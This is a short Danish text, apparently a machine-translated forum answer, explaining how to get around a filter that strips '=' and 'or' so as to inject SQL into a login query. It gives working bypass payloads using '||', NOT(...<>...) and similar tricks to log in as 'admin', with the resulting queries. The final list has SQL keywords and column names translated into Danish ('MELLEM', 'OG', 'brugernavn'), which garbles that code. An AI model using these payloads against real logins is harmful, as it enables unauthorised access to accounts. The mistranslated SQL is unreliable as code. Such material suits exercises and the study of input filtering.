Forudsat denne definition af lvl2_filter
, som dybest set fjerner enhver forekomst af =
og eller
indtil den ikke længere findes, bør det stadig være muligt at bruge logisk ELLER-operation
med ||
i stedet for ELLER
og et simpelt udtryk, der vurderes til at være sandt som:
username: dummy
password: ' || '1
Dette ville resultere i:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
For at vælge en bestemt bruger kan man bruge reglerne for boolsk algebra
, hvor x=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
Dette ville resultere i:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Her <> svarer til
!=
men indeholder ikke en =
.
Der er også andre operationer, som man kunne bruge for at sikre brugernavn er lig med admin
:
brugernavn MELLEM 'admin' OG 'admin'
brugernavn LIKE 'admin'
brugernavn IN ('admin')
IF(STRCMP(brugernavn,'admin'), 0, 1)
CASE STRCMP(brugernavn,'admin') WHEN 0 THEN 1 ELSE 0 END
- ...